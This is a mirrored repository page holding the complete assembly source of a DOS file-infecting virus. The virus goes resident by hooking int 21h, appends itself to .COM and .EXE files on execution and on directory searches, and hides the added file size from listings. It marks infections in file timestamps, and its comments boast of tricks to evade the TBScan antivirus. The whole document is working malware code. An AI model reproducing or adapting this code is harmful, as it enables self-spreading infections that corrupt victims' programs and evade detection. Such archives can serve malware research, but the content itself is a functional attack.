mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
617 lines
16 KiB
NASM
617 lines
16 KiB
NASM
;% You-name-the-bitch %
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
.model tiny
|
|
.code
|
|
org 100h
|
|
|
|
pagesize equ (((offset last) - (offset start)) shr 9) + 1
|
|
parasize equ (((offset last) - (offset start)) shr 4) + 1
|
|
bytesize equ (parasize shl 4)
|
|
lastpage equ bytesize - (pagesize shl 9)
|
|
|
|
|
|
start:
|
|
push ds
|
|
call install
|
|
entry:
|
|
jmp restore
|
|
|
|
; Information about host program
|
|
|
|
orgip dw 020CDh ; Entry point if .exe,
|
|
orgcs dw 0 ; if .com first 3 bytes of file.
|
|
com db 0FFh ; If .exe com=0 if .com com=FF
|
|
|
|
install:
|
|
; Check if already resident
|
|
mov ah, 30h ; Get dos version
|
|
mov bx, 1009 ; Installation check
|
|
int 21h
|
|
cmp bx, 9001 ; Is installed?
|
|
jne gores
|
|
mov bp, sp ; Get delta offset
|
|
mov bp, ss:[bp]
|
|
ret
|
|
|
|
org21:
|
|
db 0EAh ; Buffer for original int21
|
|
org21o dw ?
|
|
org21s dw ?
|
|
|
|
gores:
|
|
pop bp
|
|
cmp al, 03h ; Check dos version
|
|
jb restore
|
|
|
|
; Try to allocate memory
|
|
memall: mov ah, 48h ; Allocate memory
|
|
mov bx, parasize+3
|
|
int 21h
|
|
jnc gohigh
|
|
|
|
; Try to decrease host memory
|
|
push es ; Get MCB
|
|
mov bx, es
|
|
dec bx
|
|
mov es, bx
|
|
mov bx, es:[03h] ; Get size of memory
|
|
sub bx, parasize+4 ; Calculate needed memory
|
|
pop es
|
|
mov ah, 4Ah ; Decrease memory block
|
|
int 21h
|
|
jnc memall ; Allocate memory for virus
|
|
jmp restore
|
|
|
|
gohigh:
|
|
; Move virus to new memory
|
|
dec ax ; es to new mcb
|
|
mov es, ax
|
|
mov word ptr es:[1], 8 ; mark dos as owner
|
|
mov di, 10h ; Set es:di to new block
|
|
push cs ; Set ds:si to virus code
|
|
pop ds
|
|
mov si, bp
|
|
sub si, 4 ; Adjust for first call
|
|
mov cx, bytesize
|
|
cld
|
|
rep movsb
|
|
|
|
; Install in int21 vector
|
|
sub ax, 0Fh ; Adjust for org 100h
|
|
mov ds, ax
|
|
mov ax, 3521h ; Save int21 vector
|
|
int 21h
|
|
mov org21o, bx
|
|
mov org21s, es
|
|
mov ah, 25h ; Set int21 vector
|
|
mov dx, offset vector21
|
|
int 21h
|
|
|
|
|
|
restore:
|
|
; Restore original program
|
|
pop es
|
|
push es
|
|
cmp byte ptr cs:bp[6], 00h ; Check file type
|
|
je restexe
|
|
|
|
; Restore .com program
|
|
push es
|
|
pop ds
|
|
mov di, 100h
|
|
push di
|
|
mov ax, cs:bp[2]
|
|
stosw
|
|
mov al, cs:bp[4]
|
|
stosb
|
|
retf
|
|
|
|
restexe:
|
|
; Restore .exe program
|
|
pop ax
|
|
mov ds, ax
|
|
add ax, cs:bp[4] ; relocate cs
|
|
add ax, 10h
|
|
push ax
|
|
mov ax, cs:bp[2] ; get ip
|
|
push ax
|
|
retf ; Jump to host
|
|
|
|
|
|
|
|
vector21:
|
|
cmp ah, 30h ; Get dos version?
|
|
jne chkexe
|
|
cmp bx, 1009 ; Installation check?
|
|
jne chkexe
|
|
call dos
|
|
mov bx, 9001 ; Return residency code
|
|
retf 2
|
|
chkexe:
|
|
cmp ax, 4B00h ; Load and execute?
|
|
jne chkfcb
|
|
call infect ; Infect file
|
|
jmp chnexit
|
|
chkfcb:
|
|
cmp ah, 11h ; Find file?
|
|
je fcb
|
|
cmp ah, 12h ; Find file?
|
|
je fcb
|
|
|
|
cmp ah, 4Eh ; Find handle?
|
|
je fhdl
|
|
cmp ah, 4Fh ; Find handle?
|
|
jne chnexit
|
|
fhdl: call dos
|
|
jnc fhdls
|
|
retf 2
|
|
fhdls: jmp findhandle
|
|
|
|
chnexit:
|
|
jmp org21
|
|
|
|
|
|
fcb:
|
|
; Called on find first/find next fcb
|
|
; Perform dos call
|
|
|
|
call dos
|
|
or al, al ; Check if a file was found
|
|
jz exist
|
|
retf 2
|
|
exist:
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
|
|
mov ax, 6200h ; Get psp
|
|
call dos
|
|
mov es, bx
|
|
cmp bx, es:[16h] ; Ensure that dos is calling
|
|
jne fcbexit
|
|
|
|
call getdta ; Get address of fcb
|
|
lodsb ; Check if extended
|
|
cmp al, 0FFh
|
|
jne noext
|
|
add si, 7
|
|
noext:
|
|
mov bx, si
|
|
add si, 8 ; Check extension
|
|
lodsw
|
|
push ax
|
|
|
|
add si, 0Ch ; Check for infection
|
|
lodsb
|
|
and al, 1Fh
|
|
cmp al, 03h
|
|
pop ax
|
|
pushf
|
|
add si, 5
|
|
|
|
cmp ax, 'OC'
|
|
je fcbcom
|
|
cmp ax, 'XE'
|
|
je fcbexe
|
|
popf
|
|
jmp fcbexit
|
|
|
|
fcbcom:
|
|
; Check for infection
|
|
popf
|
|
jne fcbcomni
|
|
sub word ptr [si], bytesize
|
|
jmp fcbexit
|
|
fcbcomni:
|
|
in al, 41h ; Get timer (rnd)
|
|
test al, 03h ; 25% infection
|
|
jne fcbexit
|
|
call cvtasciz ; Convert to asciz
|
|
mov ax, 'C.' ; Append exetnsion
|
|
stosw
|
|
mov ax, 'MO'
|
|
stosw
|
|
jmp fcbinfect
|
|
|
|
fcbexe:
|
|
; Check for infection
|
|
popf
|
|
jne fcbexeni
|
|
sub word ptr [si], bytesize
|
|
jmp fcbexit
|
|
fcbexeni:
|
|
in al, 41h ; Get timer (rnd)
|
|
test al, 03h ; 25% infection
|
|
jne fcbexit
|
|
call cvtasciz
|
|
mov ax, 'E.'
|
|
stosw
|
|
mov ax, 'EX'
|
|
stosw
|
|
|
|
fcbinfect:
|
|
xor al, al
|
|
stosb
|
|
mov dx, offset last
|
|
push cs
|
|
pop ds
|
|
call infect
|
|
|
|
fcbexit:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retf 2
|
|
|
|
|
|
cvtasciz proc
|
|
push cs ; Convert to asciz
|
|
pop es
|
|
mov si, bx
|
|
mov di, offset last
|
|
mov cx, 8
|
|
loop3: lodsb
|
|
cmp al, ' '
|
|
je loopx
|
|
stosb
|
|
loop loop3
|
|
loopx: ret
|
|
cvtasciz endp
|
|
|
|
|
|
infect proc
|
|
; Called on load and execute
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
|
|
mov ax, 3D82h ; Open victim
|
|
call dos
|
|
jc exitinfect
|
|
xchg ax, bx
|
|
|
|
mov ax, 5700h ; Save file date/time
|
|
call dos
|
|
push dx
|
|
push cx
|
|
|
|
mov ah, 3Fh ; Read first bytes
|
|
push cs
|
|
pop ds
|
|
lea dx, orgip
|
|
mov cx, 2
|
|
call dos
|
|
xor orgip, 4523h ; Check if .exe file
|
|
cmp orgip, 'MZ' xor 4523h ; TBScan fooled again...
|
|
je infectexe
|
|
cmp orgip, 'ZM' xor 4523h
|
|
je infectexe
|
|
xor orgip, 4523h
|
|
jmp infectcom
|
|
|
|
infectdone:
|
|
pop cx ; Restore date/time of file
|
|
pop dx
|
|
mov ax, 5701h
|
|
call dos
|
|
|
|
mov ah, 3Eh ; Close file
|
|
call dos
|
|
exitinfect:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
infect endp
|
|
|
|
infectexe:
|
|
; Read header from .exe file
|
|
mov ah, 3Fh
|
|
lea dx, last ; Use memory above virus
|
|
mov cx, 16h
|
|
call dos
|
|
|
|
; Calculate address of entrypoint
|
|
mov ax, word ptr last[entryseg] ; Get entry cs value
|
|
add ax, word ptr last[headsize] ; Get header size
|
|
mov cx, 10h ; Convert to bytes
|
|
mul cx
|
|
add ax, word ptr last[entryofs] ; add ip offset
|
|
adc dx, 00
|
|
|
|
; Seek to entrypoint
|
|
mov cx, dx
|
|
xchg dx, ax
|
|
mov ax, 4200h
|
|
call dos
|
|
|
|
; Check if already infected
|
|
mov ah, 3Fh ; Read bytes at entry
|
|
mov cx, 4h
|
|
lea dx, orgip
|
|
mov si, dx
|
|
call dos
|
|
|
|
lodsw ; Compare entry to virus
|
|
cmp ax, word ptr start
|
|
jne exenotinf
|
|
lodsw
|
|
cmp ax, word ptr start[2]
|
|
je infectdone
|
|
|
|
|
|
exenotinf:
|
|
; Mark infection
|
|
pop ax ; Get time stamp
|
|
and al, 0E0h ; Mask seconds
|
|
or al, 003h ; Set seconds to 6
|
|
push ax
|
|
|
|
; Infect file
|
|
lea si, last[entryofs] ; Save program information
|
|
lodsw
|
|
mov orgip, ax
|
|
lodsw
|
|
mov orgcs, ax
|
|
mov cs:com, 0 ; This is .exe
|
|
|
|
; Calculate virus entry
|
|
mov ax, 4202h ; Seek to eof
|
|
xor cx, cx
|
|
cwd
|
|
call dos
|
|
|
|
xchg ax, dx ; eof pos in ax:dx
|
|
mov cl, 12
|
|
shl ax, cl
|
|
mov word ptr last[entryseg], ax
|
|
xchg ax, dx
|
|
xor dx, dx
|
|
mov cx, 10h ; Convert eof pos to paras
|
|
div cx
|
|
sub ax, word ptr last[headsize] ; Calculate entry for virus
|
|
add word ptr last[entryseg], ax ; Save in header
|
|
mov word ptr last[entryofs], dx
|
|
|
|
; Recalculate size
|
|
mov ax, word ptr last[lastsize]
|
|
add ax, bytesize
|
|
cwd
|
|
mov cx, 200h
|
|
div cx
|
|
mov word ptr last[lastsize], dx
|
|
add word ptr last[pages], ax
|
|
|
|
|
|
mov ah, 3Fh ; Append virus
|
|
mov dx, 100h
|
|
mov cx, bytesize
|
|
inc ah ; TB-Moron(tm)
|
|
push ax
|
|
call dos
|
|
|
|
; Save modified exe-header
|
|
mov ax, 4200h ; Seek to header
|
|
xor cx, cx
|
|
mov dx, 2
|
|
call dos
|
|
|
|
pop ax
|
|
lea dx, last ; Write header
|
|
mov cx, 16h
|
|
call dos
|
|
|
|
jmp infectdone
|
|
|
|
|
|
infectcom:
|
|
; Installation check
|
|
call ichkcom
|
|
jnc comnotinf
|
|
jmp infectdone
|
|
|
|
comnotinf:
|
|
|
|
; Mark infection
|
|
pop ax ; Get time stamp
|
|
and al, 0E0h ; Mask seconds
|
|
or al, 003h ; Set seconds to 6
|
|
push ax
|
|
|
|
mov com, 0FFh
|
|
|
|
; Seek to eof
|
|
mov ax, 4202h
|
|
xor cx, cx
|
|
cwd
|
|
call dos
|
|
|
|
; Create jump opcode
|
|
sub ax, 3
|
|
mov word ptr last, ax
|
|
|
|
; Append virus
|
|
mov ah, 3Fh
|
|
mov cx, bytesize
|
|
mov dx, 100h
|
|
inc ah ; TB...
|
|
push ax
|
|
call dos
|
|
|
|
; Write jump to beginning of file
|
|
mov ax, 4200h
|
|
xor cx, cx
|
|
cwd
|
|
call dos
|
|
pop ax ; TB...
|
|
mov cx, 3
|
|
lea dx, jumpop
|
|
call dos
|
|
|
|
jmp infectdone
|
|
|
|
|
|
|
|
findhandle:
|
|
pushf
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
|
|
call getdta ; dta to es:si and ds:si
|
|
mov di, si
|
|
|
|
mov al, si[16h] ; Get seconds
|
|
and al, 1Fh
|
|
cmp al, 3
|
|
pushf
|
|
|
|
add di, 1Eh ; di to name
|
|
mov cx, 9
|
|
mov al, '.'
|
|
repne scasb ; scan for extension
|
|
xchg si, di
|
|
lodsw
|
|
cmp ax, 'OC' ; check if com?
|
|
je hdlcom
|
|
cmp ax, 'XE'
|
|
je hdlexe
|
|
popf
|
|
jmp hdlexit
|
|
|
|
hdlcom:
|
|
hdlexe:
|
|
popf
|
|
jne hdlexit
|
|
sub word ptr di[1Ah], bytesize
|
|
sbb word ptr di[1Ch], 0
|
|
|
|
hdlexit:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
popf
|
|
retf 2
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ichkcom proc
|
|
; Checks if com-file with handle in bx is infected
|
|
|
|
mov ax, 4200h ; Seek to beginning
|
|
xor cx, cx
|
|
cwd
|
|
call dos
|
|
|
|
push ds
|
|
|
|
mov ah, 3Fh ; Read first bytes
|
|
mov cl, 3
|
|
mov dx, offset orgip
|
|
call dos
|
|
|
|
cmp byte ptr orgip, 0E9h ; Check if jump
|
|
jne icnotinf
|
|
|
|
mov ax, 4201h ; Seek to entry point
|
|
xor cx, cx
|
|
mov dx, word ptr orgip[1]
|
|
call dos
|
|
|
|
mov cl, 4
|
|
call readtolast ; Get entry point
|
|
cmp word ptr last, 0E81Eh
|
|
jne icnotinf
|
|
cmp word ptr last[2], 00007h
|
|
jne icnotinf
|
|
|
|
pop ds
|
|
stc ; Return with carry
|
|
ret
|
|
icnotinf:
|
|
pop ds
|
|
clc ; Not infected
|
|
ret
|
|
ichkcom endp
|
|
|
|
|
|
|
|
dos proc
|
|
pushf
|
|
call dword ptr cs:org21o
|
|
ret
|
|
dos endp
|
|
|
|
|
|
getdta proc
|
|
mov ah, 2Fh ; Get dta
|
|
call dos
|
|
push es ; ds:si to dta
|
|
pop ds
|
|
mov si, bx
|
|
ret
|
|
getdta endp
|
|
|
|
|
|
readtolast proc
|
|
mov ah, 3Fh
|
|
push cs
|
|
pop ds
|
|
mov dx, offset last
|
|
call dos
|
|
ret
|
|
readtolast endp
|
|
|
|
|
|
|
|
jumpop db 0E9h
|
|
last:
|
|
|
|
exehead struc
|
|
lastsize dw ?
|
|
pages dw ?
|
|
tblesize dw ?
|
|
headsize dw ?
|
|
minalloc dw ?
|
|
maxalloc dw ?
|
|
stackseg dw ?
|
|
stackofs dw ?
|
|
checksum dw ?
|
|
entryofs dw ?
|
|
entryseg dw ?
|
|
exehead ends
|
|
|
|
end start
|
|
================================================================================
|